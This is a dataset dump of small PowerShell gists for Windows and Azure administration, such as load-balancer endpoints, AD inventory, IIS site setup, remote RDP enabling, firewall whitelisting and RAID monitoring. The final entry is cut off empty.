full_path
stringlengths 31
232
| filename
stringlengths 4
167
| content
stringlengths 0
48.3M
|
|---|---|---|
PowerShellCorpus/GithubGist/andreaswasita_9c4bdfdbcf66fbfaf666_raw_28fe2e4abfaaefd6eb43260b98113200db489af0_CreateILB_SetEndPoint.ps1
|
andreaswasita_9c4bdfdbcf66fbfaf666_raw_28fe2e4abfaaefd6eb43260b98113200db489af0_CreateILB_SetEndPoint.ps1
|
$svc="azsedb"
$ilb="sqlilb"
$subnet="Azure-BackEnd"
$IP="10.0.1.100"
Add-AzureInternalLoadBalancer –ServiceName $svc -InternalLoadBalancerName $ilb –SubnetName $subnet –StaticVNetIPAddress $IP
$prot="tcp"
$locport=1433
$pubport=1433
$epname="LOB1"
$vmname="azsedb001"
Get-AzureVM –ServiceName $svc –Name $vmname | Add-AzureEndpoint -Name $epname -Protocol $prot -LocalPort $locport -PublicPort $pubport –DefaultProbe -InternalLoadBalancerName $ilb | Update-AzureVM
$epname="LOB2"
$vmname="azsedb002"
Get-AzureVM –ServiceName $svc –Name $vmname | Add-AzureEndpoint -Name $epname -Protocol $prot -LocalPort $locport -PublicPort $pubport –DefaultProbe -InternalLoadBalancerName $ilb | Update-AzureVM
|
PowerShellCorpus/GithubGist/theagreeablecow_2795543_raw_48e83ca813cdb0418ab136f39098a8ffa595e530_ServerInventory.ps1
|
theagreeablecow_2795543_raw_48e83ca813cdb0418ab136f39098a8ffa595e530_ServerInventory.ps1
|
# This script will generate a list of all servers in AD, collect inventory items and export to Excel
# Requires the Active Directory module for Windows Powershell and appropriate credentials
#LOAD POWERSHELL SESSIONS
#------------------------
$DC = "dc1.maydomain.com.au"
$usercredential= get-credential -credential mydomain\admin
$Path = "\\mydomain.com.au\Scripts\Data\"
$ExportFile = $Path + "ServerInventory.csv"
cls
write-host -foregroundcolor Green "Loading Active Directory Module"
import-module ActiveDirectory
#Get AD Data
#-----------
Get-ADComputer -Filter {OperatingSystem -Like "Windows *Server*"} -Property * | Select-Object Name,Enabled,Description,IPv4Address,OperatingSystem,OperatingSystemServicePack,DistinguishedName,whenCreated,LastLogonDate,whenChanged | sort name | Export-CSV $ExportFile -NoTypeInformation -Encoding UTF8
#Get-ADComputer -Filter {OperatingSystem -Like "Windows *Server*"} -Property * | Export-CSV $ExportFile -NoTypeInformation -Encoding UTF8
Invoke-Item $ExportFile
|
PowerShellCorpus/GithubGist/thoemmi_5451154_raw_f5164c4a7d32dc5d2eb12782c13b2f478b379c61_InitializeSQLProvider.ps1
|
thoemmi_5451154_raw_f5164c4a7d32dc5d2eb12782c13b2f478b379c61_InitializeSQLProvider.ps1
|
#
# Add the SQL Server Provider.
# Source: http://technet.microsoft.com/en-us/library/cc281962(v=sql.105).aspx
#
$ErrorActionPreference = "Stop"
$sqlpsreg="HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.SqlServer.Management.PowerShell.sqlps"
if (Get-ChildItem $sqlpsreg -ErrorAction "SilentlyContinue")
{
throw "SQL Server Provider for Windows PowerShell is not installed."
}
else
{
$item = Get-ItemProperty $sqlpsreg
$sqlpsPath = [System.IO.Path]::GetDirectoryName($item.Path)
}
#
# Set mandatory variables for the SQL Server provider
#
Set-Variable -scope Global -name SqlServerMaximumChildItems -Value 0
Set-Variable -scope Global -name SqlServerConnectionTimeout -Value 30
Set-Variable -scope Global -name SqlServerIncludeSystemObjects -Value $false
Set-Variable -scope Global -name SqlServerMaximumTabCompletion -Value 1000
#
# Load the snapins, type data, format data
#
Push-Location
cd $sqlpsPath
Add-PSSnapin SqlServerCmdletSnapin100
Add-PSSnapin SqlServerProviderSnapin100
Update-TypeData -PrependPath SQLProvider.Types.ps1xml
update-FormatData -prependpath SQLProvider.Format.ps1xml
Pop-Location
|
PowerShellCorpus/GithubGist/mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
|
mhinze_6686766_raw_c0231178862e7c9b3407ef11d3f749c5c356385e_Delete-BinObj.ps1
|
function global:Delete-BinObj()
{
$path = join-path $solutionScriptsContainer '..' -resolve
Get-ChildItem $path -include bin,obj -recurse -Force | remove-item -force -recurse
}
|
PowerShellCorpus/GithubGist/MikeAStevenson_35f3e1f60b1f9f356501_raw_05c3660fef59fd73ebe169da0dfed6b991d43b95_HCExtras.ps1
|
MikeAStevenson_35f3e1f60b1f9f356501_raw_05c3660fef59fd73ebe169da0dfed6b991d43b95_HCExtras.ps1
|
#############################################################################
#
# Desc: Helper file to be dotted/imported in so that some things
# can be done a little bit easier
#
# Date: 2014-11-04 - M. Stevenson - Initial Version
# Added HC-EnableRDP, HC-EnterSession
#
#############################################################################
#
# Desc: enable RDP on remote computer
# Date: 2014-11-04 - M. Stevenson - Initial Version
#
Function HC-EnableRDP {
[CmdletBinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline=$true,HelpMessage="Enter the name of the computer to enable RDP on")]
[string]$computer
)
PROCESS {
if (!(Test-Connection -ComputerName $computer -Count 1 -ea 0)) {
Write-Host "$computer : OFFLINE"
Continue
}
try {
$rdp = gwmi -Class Win32_TerminalServiceSetting `
-Namespace root\CIMV2\TerminalServices `
-ComputerName $computer `
-Authentication 6 `
-ErrorAction Stop
} catch {
Write-Host "$computer : WMIQueryFailed"
Continue
}
if ($rdp.AllowTSConnections -eq 1) {
Write-Host "$computer : RDP Already enabled"
continue
} else {
try {
$result = $rdp.SetAllowTSConnections(1,1)
if ($result.ReturnValue -eq 0) {
Write-Host "$computer : Enabled RDP Successfully"
} else {
Write-Host "$computer : Failed to enable RDP"
}
} catch {
Write-Host "$computer : Failed to enable RDP"
}
}
}
end {}
}
#
# Desc: Helper to Enter-PSSession to make credssp easier on the domain
# Date: 2014-11-04 - M. Stevenson - Initial Version
#
Function HC-EnterSession {
[CmdletBinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline=$true,HelpMessage="Enter the hostname of the PC")]
[string]$computer
)
PROCESS {
$domainName = "ENTERDOMAINNAME"
# add the domain name if it doesn't exist
if (!($computer.ToLower().EndsWith($domainName.ToLower()))) {
$computer = $computer + $domainName
}
# get the user's credential's for credssp
$creds = Get-Credential
Enter-PSSession -ComputerName $computer -Authentication Credssp -Credential $creds
}
end {}
}
#
# Desc: Get installed programs on PC, allow for removal
# Date: 2014-11-04 - M. Stevenson - Initial Version
# Note: only dealing with things found in Win32_Product at this point
#
Function HC-GetPrograms {
[CmdletBinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline=$true,HelpMessage="Enter the computer name/IP")]
[string]$computer
)
PROCESS {
if (!(Test-Connection -ComputerName $computer -Count 1 -ErrorAction SilentlyContinue)) {
Write-Host "$computer is offline"
Continue
}
try {
$applications = Get-WmiObject -ComputerName $computer -Class Win32_Product -ErrorAction SilentlyContinue
} catch {
Write-Host "There was an error getting the application list. Aborting."
Continue
}
$numOfApps = ($applications.length-1)
For ($i = 0; $i -le $numOfApps; ++$i) {
$app = $applications[$i]
Write-Host "$($i): $($app.Name) - $($app.Vendor)"
}
# ask if they want to uninstall something
do {
$yn = Read-Host "Do you want to uninstall something? (y/n)"
} until ($yn.ToLower() -eq "y" -or $yn.ToLower() -eq "n")
if ($yn -eq "y") {
# make sure people enter an actual number
do {
try {
$isNum = $true
[int]$deleteNumber = Read-Host "Enter number of application to remove: 0-$($numOfApps)"
} catch { $isNum = $false }
} until (($deleteNumber -ge 0 -and $deleteNumber -le $numOfApps) -and $isNum)
$app = $applications[$deleteNumber]
$app.uninstall()
# run again
HC-GetPrograms $computer
}
}
end {}
}
|
PowerShellCorpus/GithubGist/olohmann_b8dee52278296db65937_raw_179f5e7b5308f271e640d0ce7cead401f0120bc0_boxstarter-demo-devenv.ps1
|
olohmann_b8dee52278296db65937_raw_179f5e7b5308f271e640d0ce7cead401f0120bc0_boxstarter-demo-devenv.ps1
|
# In PoSh: START http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/olohmann/b8dee52278296db65937/raw/71f8768586f6be4b4fe2dccac8384d16333b9fc1/boxstarter-demo-devenv.ps1
# Boxstarter Script to prep a simple Dev Demo Box.
# Allow reboots
$Boxstarter.RebootOk=$true
$Boxstarter.NoPassword=$false
$Boxstarter.AutoLogin=$true
# Basic setup
Update-ExecutionPolicy Unrestricted
Set-ExplorerOptions -showHidenFilesFoldersDrives -showProtectedOSFiles -showFileExtensions
if (Test-PendingReboot) { Invoke-Reboot }
# Update Windows and reboot if necessary
Install-WindowsUpdate -AcceptEula
if (Test-PendingReboot) { Invoke-Reboot }
# Browsers
cinst google-chrome-x64
cinst firefox
# Tools
cinst sysinternals
cinst 7zip.install
cinst git.install
cinst sublimetext3
cinst sublimetext3.packagecontrol
cinst sublimetext3.powershellalias
cinst nodejs.install
cinst sourcetree
cinst fiddler4
cinst consolez
# Pins
Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles86)\Google\Chrome\Application\chrome.exe"
Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles86)\Mozilla Firefox\firefox.exe"
Install-ChocolateyPinnedTaskBarItem "$($Boxstarter.programFiles)\Sublime Text 3\sublime_text.exe"
|
PowerShellCorpus/GithubGist/Krelix_dfaf0710c3abe76a2c4c_raw_1f38a869f2b36ff4131c3a826cfddce941c4aa37_changePerm.ps1
|
Krelix_dfaf0710c3abe76a2c4c_raw_1f38a869f2b36ff4131c3a826cfddce941c4aa37_changePerm.ps1
|
# Don't forget to ser $usernameFull to the name off account in this format : DOMAIN\username
$rule = new-object System.Security.AccessControl.FileSystemAccessRule($usernameFull, 'FullControl', 'Allow');
$owner = new-object System.Security.Principal.NTAccount($usernameFull)
foreach($file in $(Get-ChildItem ./ -recurse)){
$acl=get-acl $file.FullName
$acl.SetAccessRule($rule)
$acl.SetOwner($owner)
set-acl $file.FullName $acl
}
|
PowerShellCorpus/GithubGist/mitchelldavis_7947239_raw_9d040746eaca2932ba01dc11d000876b5c1bd644_Remote-Connect.ps1
|
mitchelldavis_7947239_raw_9d040746eaca2932ba01dc11d000876b5c1bd644_Remote-Connect.ps1
|
# All you should have to do to connect to a remote machine is type:
# Remote-Connect <machineIP>
# Then the cmdlet will ask you for your credentials and you can continue.
function Remote-Connect
{
param([Parameter(Mandatory=$true)][string]$machine)
$opt=New-PSSessionOption –skipcacheck
Enter-PsSession $machine -usessl -SessionOption $opt –cred (get-credential)
}
|
PowerShellCorpus/GithubGist/andreaswasita_9d14a34833422934f351_raw_71d9f7ae827f5baff86a54ba26303aae6130905f_CreateLoadBalancedVMEndPoints.ps1
|
andreaswasita_9d14a34833422934f351_raw_71d9f7ae827f5baff86a54ba26303aae6130905f_CreateLoadBalancedVMEndPoints.ps1
|
cls
# Define variables
$AGNodes = "azsedb001","azsedb002" # SQL AAG VMs in SEVNET
$ServiceName = "azsedb" # SQL VMs Cloud Service in SEVNET
$EndpointName = "SQLAAG" # name of the endpoint
$EndpointPort = "1433" # public port to use for the endpoint
# Configure a load balanced endpoint for each node in $AGNodes, with direct server return enabled
ForEach ($node in $AGNodes)
{
Get-AzureVM -ServiceName $ServiceName -Name $node | Add-AzureEndpoint -Name $EndpointName -Protocol "TCP" -PublicPort $EndpointPort -LocalPort $EndpointPort -LBSetName "$EndpointName-LB" -ProbePort 59999 -ProbeProtocol "TCP" -DirectServerReturn $true | Update-AzureVM
}
# Define variables
$AGNodes = "azusdb001" # SQL AAG VMs in USVNET
$ServiceName = "azusdb" # SQL VMs Cloud Service in USVNET
# Configure a load balanced endpoint for each node in $AGNodes, with direct server return enabled
ForEach ($node in $AGNodes)
{
Get-AzureVM -ServiceName $ServiceName -Name $node | Add-AzureEndpoint -Name $EndpointName -Protocol "TCP" -PublicPort $EndpointPort -LocalPort $EndpointPort -LBSetName "$EndpointName-LB" -ProbePort 59999 -ProbeProtocol "TCP" -DirectServerReturn $true | Update-AzureVM
}
|
PowerShellCorpus/GithubGist/kotsaris_1fe892cdf1b1c88820c3_raw_b9a289a26347ec1d224d5c5ed790c98862edfb81_gistfile1.ps1
|
kotsaris_1fe892cdf1b1c88820c3_raw_b9a289a26347ec1d224d5c5ed790c98862edfb81_gistfile1.ps1
|
#Run this in your nuget console within Visual Studio
#Keep in mind that this is designed to replicate the packages.config list of dependencies as-is and never add more packages
$proj = "REPLACE_ME_WITH_YOUR_PROJECT_NAME"; Get-Package -ProjectName $proj | %{ Uninstall-Package -Id $_.Id -ProjectName $proj -Force ; Install-Package $_.Id -Version $_.Version -IgnoreDependencies -ProjectName $proj}
|
PowerShellCorpus/GithubGist/manoharp_f1e8ac45788015ed3703_raw_c92377bb3e2b528fe81c6a111b9908f31aec6ae7_gistfile1.ps1
|
manoharp_f1e8ac45788015ed3703_raw_c92377bb3e2b528fe81c6a111b9908f31aec6ae7_gistfile1.ps1
|
# Set shortcut for sublime command line
Set-Alias subl 'C:\Program Files (x86)\Sublime Text 3\subl.exe'
# Launch the sublime text
subl test.py
|
PowerShellCorpus/GithubGist/vinyar_6630973_raw_3a042e173478183daa01f108cdbe3852ecc1f33c_password%20complexity%20removal.ps1
|
vinyar_6630973_raw_3a042e173478183daa01f108cdbe3852ecc1f33c_password%20complexity%20removal.ps1
|
"[System Access]" | out-file c:\delete.cfg
"PasswordComplexity = 0" | out-file c:\delete.cfg -append
"[Version]" | out-file c:\delete.cfg -append
'signature="$CHICAGO$"' | out-file c:\delete.cfg -append
secedit /configure /db C:\Windows\security\new.sdb /cfg c:\delete.cfg /areas SECURITYPOLICY
|
PowerShellCorpus/GithubGist/guitarrapc_0ae11df89bb7c8db6420_raw_3180e32cb5ba2185e12331b9e46ada9295b8ab3a_EncryptionConfiguraion.ps1
|
guitarrapc_0ae11df89bb7c8db6420_raw_3180e32cb5ba2185e12331b9e46ada9295b8ab3a_EncryptionConfiguraion.ps1
|
$configuraionData = @{
AllNodes =
@(
@{
NodeName = "*"
PSDscAllowPlainTextPassword = $false
CertificateFile = "c:\test.cer"
Thumbprint = (ls Cert:\LocalMachine\My | where Subject -eq "CN=test").Thumbprint
},
@{
NodeName = "localhost"
Role = "test"
}
)
}
Configuration Encryption
{
param
(
[PSCredential]$Credential = (Get-Credential)
)
Node $AllNodes.Where{$_.Role -eq "test"}.NodeName
{
User Encryption
{
UserName = $Credential.UserName
Password = $Credential
Ensure = "Present"
}
LocalConfigurationManager
{
CertificateId = $AllNodes.ThumbPrint
}
}
}
|
PowerShellCorpus/GithubGist/robie2011_88fe79b32c275656f2b6_raw_6af9d1578635f7898974be1690865ab99f0186d2_shoMyTeamViewerSession.ps1
|
robie2011_88fe79b32c275656f2b6_raw_6af9d1578635f7898974be1690865ab99f0186d2_shoMyTeamViewerSession.ps1
|
# File: showMyTeamviewerSession.ps1
# Date: 01.03.2013
# Author: Robert Rajakone
# URL: http://tech.robie.ch
# Description: This script extract Teamviewer session connection information from logfile
write-host "Today's Teamviewer Sessions"
# Der Regex-Ausdruck für Extraktion der Daten
$RegexExp = "(\d{4}/\d{2}/\d{2} \d{2}:\d{2}:\d{2}\.\d{3})\s*(\d+)\s*(\d+)\s*([\w\d!]*)\s*(.*$)"
$log="C:\Program Files (x86)\TeamViewer\Version6\TeamViewer6_Logfile.log"
$logdata = gc $log
$logdata -match (get-date -Format "^yyyy\/MM\/dd") -match "(Session to \d+ ended)|(Client connection to \d+)" | ForEach-Object{
#Write-Host $_
$extract = [regex]::match($_,$RegexExp)
$Col1 = $extract.Groups[1].Value #DateTime
$Col2 = $extract.Groups[2].Value #PID
$Col3 = $extract.Groups[3].Value
$Col4 = $extract.Groups[4].Value
$Col5 = $extract.Groups[5].Value #Comment/Action
# Extracting Remote Client ID
$remoteClient=[regex]::match($Col5, "[Tt]o.(\d{9})").Groups[1].Value
# Converting remoteClient ID to INT and formatting to Teamviewer know ID Format 123 456 789
$remoteClient=[string]::Format("{0:### ### ###}", [int] $remoteClient)
# Convert Datetime
$datetime=[datetime]::Parse($Col1)
if ($Col5 -match "ended"){
write-host $datetime " Disconnecting " $remoteClient
}else{
write-host $datetime " Connecting " $remoteClient
}
}
# Work only in PowerShell Console (NOT IN Powershell ISE!)
$x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
|
PowerShellCorpus/GithubGist/rasmuskl_1482665_raw_8328d8e7b19fd7e0e3dd962e9f970ad22f278e06_create-site.ps1
|
rasmuskl_1482665_raw_8328d8e7b19fd7e0e3dd962e9f970ad22f278e06_create-site.ps1
|
param([string]$site=$(throw "Site argument is required."))
function vdir-exists([string]$name)
{
if((Test-Path -path $name) -eq $False)
{
return $False
}
(Get-Item $name).GetType().Name -eq "ConfigurationElement"
}
Write-Host "Creating or updating site: $site"
if ((Test-Path -path iis:) -ne $True)
{
throw "Must have IIS snap-in enabled. Use ImportSystemModules to load."
}
$sitepath = "c:\inetpub\wwwroot\$site"
if ((Test-Path -path $sitepath) -ne $True)
{
Write-Host "Creating directory: $sitepath"
new-item $sitepath -type Directory > $null
}
$apppool = "iis:\apppools\$site"
if ((Test-Path -path $apppool) -ne $True)
{
Write-Host "Creating AppPool..."
New-Item $apppool > $null
}
$iissite = "iis:\sites\$site"
if ((Test-Path -path $iissite) -ne $True)
{
Write-Host "Creating IIS Site..."
New-Item $iissite -bindings @{protocol="http";bindingInformation="*:80:$site"} -physicalPath $sitepath -applicationPool $site > $null
}
$appdatadir = "$sitepath\App_Data"
if ((Test-Path -path $appdatadir) -ne $True)
{
Write-Host "Creating App_Data directory..."
New-Item $sitepath\App_Data -type Directory > $null
}
Write-Host "Setting permissions on App_Data directory..."
icacls $sitepath\App_Data /grant 'NT Authority\NetworkService:(OI)(CI)(F)' > $null
$surveydir = "$sitepath\Surveys"
if ((Test-Path -path $surveydir) -ne $True)
{
Write-Host "Creating Survey directory..."
New-Item $sitepath\Surveys -type Directory > $null
}
Write-Host "Setting permissions on survey directory..."
icacls $sitepath\Surveys /grant 'NT Authority\NetworkService:(OI)(CI)(F)' > $null
if ((vdir-exists("$iissite\Images")) -eq $False)
{
Write-Host "Creating Images virtual directory..."
New-Item $iissite\Images -type virtualDirectory -physicalPath c:\inetpub\wwwroot\_Images > $null
}
if ((vdir-exists("$iissite\Fragments")) -eq $False)
{
Write-Host "Creating Fragments virtual directory..."
New-Item $iissite\Fragments -type virtualDirectory -physicalPath c:\inetpub\wwwroot\_Fragments > $null
}
|
PowerShellCorpus/GithubGist/davewilson_6b16abe50ac27bc1c200_raw_e9aee0ce3c0bf925e3bfaa24cfadc580eb927a2c_Get-FullURL.ps1
|
davewilson_6b16abe50ac27bc1c200_raw_e9aee0ce3c0bf925e3bfaa24cfadc580eb927a2c_Get-FullURL.ps1
|
<#
.Synopsis
Expands a shortened URL to its full URL
.DESCRIPTION
Expands a shortened URL to its full URL
.EXAMPLE
Get-FullURL http:/bit.ly/12345
#>
function Get-FullURL
{
Param
(
[Parameter(Mandatory=$true,
ValueFromPipelineByPropertyName=$true,
Position=0)]
$url
)
(Invoke-WebRequest -uri $url -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location
}
|
PowerShellCorpus/GithubGist/wwerther_1046253_raw_494eb308bc8b47a981e79597f695eec37c67570f_RestartService.ps1
|
wwerther_1046253_raw_494eb308bc8b47a981e79597f695eec37c67570f_RestartService.ps1
|
$computer='remote.example.com';
$servicename='TheServiceName';
$cred=Get-Credential;
function getsrv($servicename,$computer,$credentials) {
$servicename="Name='" + $servicename + "'";
return Get-WmiObject -Class Win32_Service -computer $computer -Credential $credentials -filter $servicename;
}
function RestartService ($servicename,$computer,$credentials) {
#secho $servicename $computer $credentials
#Write-Host "Servicename: "+$servicename+" Computer: "+$computer+" Cred: "+$credentials;
$service=getsrv $servicename $computer $credentials;
# $service;
$result=$service.StopService();
while ($service.State -eq 'Running') {
sleep 1;
$service=getsrv $servicename $computer $credentials;
# $service;
};
write-host $service.State;
$result=$service.StartService();
while ($service.State -ne 'Running') {
sleep 1;
$service=getsrv $servicename $computer $credentials;
};
write-host $service.State;
}
RestartService $servicename $computer $cred;
|
PowerShellCorpus/GithubGist/jbfriedrich_fb9ba387d14fbe64bce5_raw_7a506471cb9e6ef3e866cf3ca9d500be1ed25e48_add_ip_whitelist_vmw_fwrules.ps1
|
jbfriedrich_fb9ba387d14fbe64bce5_raw_7a506471cb9e6ef3e866cf3ca9d500be1ed25e48_add_ip_whitelist_vmw_fwrules.ps1
|
##
# Powershell script to add whitelisted IPs to VMware vSphere and VMware vCenter firewall rules.
# Also adding a rule to fix the web console problem in vSphere Web Client
##
# Set execution policy
# AllSigned : Every script must bear a valid signature
# RemoteSigned : Must be signed by a trusted publisher (for example Microsoft)
# Unrestricted : No restrictions whatsoever, every script can run
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
# Whitelisted IPs which are allowed to use the services on this host
$whitelistIPs = "127.0.0.1", "8.8.8.8"
# Get all rule names that contain either VMware or vCenter (DisplayName) and place them in an array
$vmwFwRuleNames = Get-NetFirewallRule -Enabled TRUE | where {$_.DisplayName -like "*VMware*" -OR $_.DisplayName -like "vCenter*"} | select DisplayName
# Adding whitelisted IPs to each firewall rule from our list
foreach ( $rule in $vmwFwRuleNames) {
# Set the whitelisted IPs as valid remote addresses for the rule
Set-NetFirewallRule -DisplayName $rule.DisplayName -RemoteAddress $whitelistIPs
# Set the valid remote addresses for the rule to 'any'
#Set-NetFirewallRule -DisplayName $rule.DisplayName -RemoteAddress Any
}
# Add firewall rule to allow inbound TCP traffic on port 7331
# to use the web console in VMware vCenter vSphere Web Client
New-NetFirewallRule -DisplayName "VMware vCenter Web Console" -Profile Public, Domain -Direction Inbound -Protocol TCP -LocalPort 7331 -RemoteAddress $whitelistIPs -Enabled True
|
PowerShellCorpus/GithubGist/n3wjack_11f01936eeed1a97d6f7_raw_d635bcbe07d773d12b64e8308984bde119a4b723_SetAdminPrompt.ps1
|
n3wjack_11f01936eeed1a97d6f7_raw_d635bcbe07d773d12b64e8308984bde119a4b723_SetAdminPrompt.ps1
|
# Figure out if we're running with administrative priviliges
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = new-object System.Security.Principal.WindowsPrincipal($currentuser)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
function Prompt {
# Now return a modified prompt if we are.
return "PS$(if ($isAdmin){"[admin]"}) $(get-location)> "
}
|
PowerShellCorpus/GithubGist/brase_6728004_raw_8a1aa5a998dfffdf9d2e21b2a400d621a6526653_check_microsoft_windows_software_raid.ps1
|
brase_6728004_raw_8a1aa5a998dfffdf9d2e21b2a400d621a6526653_check_microsoft_windows_software_raid.ps1
|
# A simple PowerShell script for retrieving the RAID status of volumes with help of diskpart.
# The nicer solution would be using WMI (which does not contain the RAID status in the Status field of Win32_DiskDrive, Win32_LogicalDisk or Win32_Volume for unknown reason)
# or using the new PowerShell API introduced with Windows 8 (wrong target system as our customer uses a Windows 7 architecture).
#
# diskpart requires administrative privileges so this script must be executed under an administrative account if it is executed standalone.
# check_mk has this privileges and therefore this script must only be copied to your check_mk/plugins directory and you are done.
#
# Christopher Klein <ckl[at]neos-it[dot]de>
# This script is distributed under the GPL v2 license.
# This script has been modified July 2013 by Matt VanCleve <matt.v[at]mymediabox.com> for use in logging MS Software RAID errors to the event log in pursuant to GPLv2 Section 2a
# This script throws event ID 65534 Information when ok and 65535 Error when not ok to the System event log using the Source "MS Software RAID Monitor"
# This script has only been designed and tested for one MS Software RAID, you may need to do other nesting or error checking for multiple software RAIDs
$dp = "list volume" | diskpart | ? { $_ -match "^ [^-]" }
echo `<`<`<local`>`>`>
foreach ($row in $dp) {
# skip first line
if (!$row.Contains("Volume ###")) {
# best match RegExp from http://www.eventlogblog.com/blog/2012/02/how-to-make-the-windows-softwa.html
if ($row -match "\s\s(Volume\s\d)\s+([A-Z])\s+(.*)\s\s(NTFS|FAT)\s+(Mirror|RAID-5|Stripe|Spiegel|Spiegelung|Übergreifend|Spanned)\s+(\d+)\s+(..)\s\s([A-Za-z]*\s?[A-Za-z]*)(\s\s)*.*") {
$disk = $matches[2]
# 0 = OK, 1 = WARNING, 2 = CRITICAL
$statusCode = 1
$status = "WARNING"
$text = "Could not parse line: $row"
$line = $row
if ($line -match "Fehlerfre |OK|Healthy") {
$statusText = "is healthy"
$statusCode = 0
$status = "OK"
}
elseif ($line -match "Rebuild") {
$statusText = "is rebuilding"
$statusCode = 1
}
elseif ($line -match "Failed|At Risk|Fehlerhaf") {
$statusText = "failed"
$statusCode = 2
$status = "CRITICAL"
}
echo "$statusCode microsoft_software_raid - $status - Software RAID on disk ${disk}:\ $statusText"
}
}
}
#Script has been modified below to write to the event log
#This creates the event log source "MS Software RAID Monitor" in the System event log to help better identify the event if it does not currently exist
if(!([System.Diagnostics.EventLog]::SourceExists("MS Software RAID Monitor")))
{
new-eventlog -LogName System -Source "MS Software RAID Monitor"
}
# Next we check the Software raid status code to see if it is not healthy and then write to the event log
if($statusCode -ne 0)
{
echo "ERROR: MS Software RAID on disk ${disk}:\ $statusText"
write-eventlog -LogName System -Source "MS Software RAID Monitor" -EntryType Error -EventID 65535 -Message "MS Software RAID on disk ${disk}:\ $statusText"
}
else
{
echo "OK: MS Software RAID on disk ${disk}:\ $statusText"
write-eventlog -LogName System -Source "MS Software RAID Monitor" -EntryType Information -EventID 65534 -Message "MS Software RAID on disk ${disk}:\ $statusText"
}
|
PowerShellCorpus/GithubGist/drphrozen_9752098_raw_b61a9ae0d0197c8b29b724482149e97b1e5dfc62_Format-Colors.ps1
|
drphrozen_9752098_raw_b61a9ae0d0197c8b29b724482149e97b1e5dfc62_Format-Colors.ps1
|
function Format-Colors {
Param(
[Parameter(Position=0, Mandatory=$true)]
[string] $Format,
[Parameter(Position=1)]
[object] $Arguments
)
if($Arguments -is [string]) {$Arguments = ,($Arguments)}
$result = Select-String -Pattern '\{(?:(\d+)(?::(\d|[0-9a-zA-Z]+))?)\}' -InputObject $Format -AllMatches
$i = 0
foreach($match in $result.Matches) {
$group = $match.Captures[0]
Write-Host -NoNewline $Format.Substring($i, $group.Index - $i)
if($group.Groups[2].Success) {
Write-Host -NoNewline -ForegroundColor $([System.ConsoleColor] $group.Groups[2].Value) $Arguments[$group.Groups[1].Value]
} else {
$arg = $Arguments[[int]$group.Groups[1].Value]
$value = $arg[0]
$color = $arg[1]
Write-Host -NoNewline -ForegroundColor $([System.ConsoleColor] $color) $value
}
$i = $group.Index + $group.Length
}
if($i -lt $Format.Length){Write-Host -NoNewline $Format.Substring($i, $Format.Length - $i)}
Write-Host ""
}
Write-Host 'Examples:'
Write-Host
Write-Host "> Format-Colors `"{0:Red} {1:Green} {2:9}`" -Arguments 'Red', 'Green', 'Blue'"
Format-Colors "{0:Red} {1:Green} {2:9}" -Arguments 'Red', 'Green', 'Blue'
Write-Host
Write-Host "> Format-Colors `"Hello {0:10}{1:11}{2:12}{3:13}{4:14}!`" -Arguments 'W', 'o', 'r', 'l', 'd'"
Format-Colors "Hello {0:10}{1:11}{2:12}{3:13}{4:14}!" -Arguments 'W', 'o', 'r', 'l', 'd'
Write-Host
Write-Host "> Format-Colors `"{0} {1}!`" -Arguments @{0=@('Hello', '11');1=@('World', 'Magenta')}"
Format-Colors "{0} {1}!" -Arguments @{0=@('Hello', '11');1=@('World', 'Magenta')}
Write-Host
0..15 | %{
$color = [System.ConsoleColor]$_;
$number = $("{0,2}" -f $_)
Format-Colors "$number {0:$color}" $color.ToString()
}
|
PowerShellCorpus/GithubGist/ecoffman_6901323_raw_e3cb910b1c5a5b766f0aea1973f81b3cb1b154a3_gistfile1.ps1
|
ecoffman_6901323_raw_e3cb910b1c5a5b766f0aea1973f81b3cb1b154a3_gistfile1.ps1
|
param([string]$spSiteUrl)
$spSite = Get-SPSite -Identity $spSiteUrl
if($SPSite -eq $null)
{
Write-Host "`nSPSite at '$($spSiteUrl)' is null.";
return;
}
$siteRootWeb = $spSite.RootWeb
foreach ($spWeb in $SPSite.AllWebs)
{
if ($siteRootWeb.Url -eq $spWeb.Url)
{
continue # Ignore site root!
}
Write-Host $spWeb.Url;
}
$spSite.Dispose();
|
PowerShellCorpus/GithubGist/mshock_3854782_raw_292f5da1e45ac6bde642486e4ab9b137d83bddf4_ps_diff.ps1
|
mshock_3854782_raw_292f5da1e45ac6bde642486e4ab9b137d83bddf4_ps_diff.ps1
|
# emulate Unix diff command w/ Powershell script
# usage: ps_diff.ps1 red_fish.txt blue_fish.txt [logpath]
$diff = compare-object (get-content $args[0]) (get-content $args[1])
if ($args[2] -eq $null) {write-output $diff}
else {add-content $args[2] $diff}
|
PowerShellCorpus/GithubGist/askesian_5711747_raw_b1981a8c5022daf37603e66bc30664c6d301bd27_download.ps1
|
askesian_5711747_raw_b1981a8c5022daf37603e66bc30664c6d301bd27_download.ps1
|
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
$rss = (new-object net.webclient)
#Set the username for windows auth proxy
#$rss.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials
$a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/TechEd/NorthAmerica/2013/RSS/mp4high"))
$a.rss.channel.item | foreach{
$url = New-Object System.Uri($_.enclosure.url)
$file = $_.creator + "-" + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-") + ".mp4"
if (!(test-path $file))
{
$file
$wc = (New-Object System.Net.WebClient)
#Set the username for windows auth proxy
#$wc.proxy.credentials=[system.net.credentialcache]::defaultnetworkcredentials
$wc.DownloadFile($url, $file)
}
}
|
PowerShellCorpus/GithubGist/jokcofbut_5019806_raw_5ac26a93a82208438161aaa4e6b96fb0ba498f23_ForceUpdateToSpecificPreReleaseVersionOfAPackage_Project.ps1
|
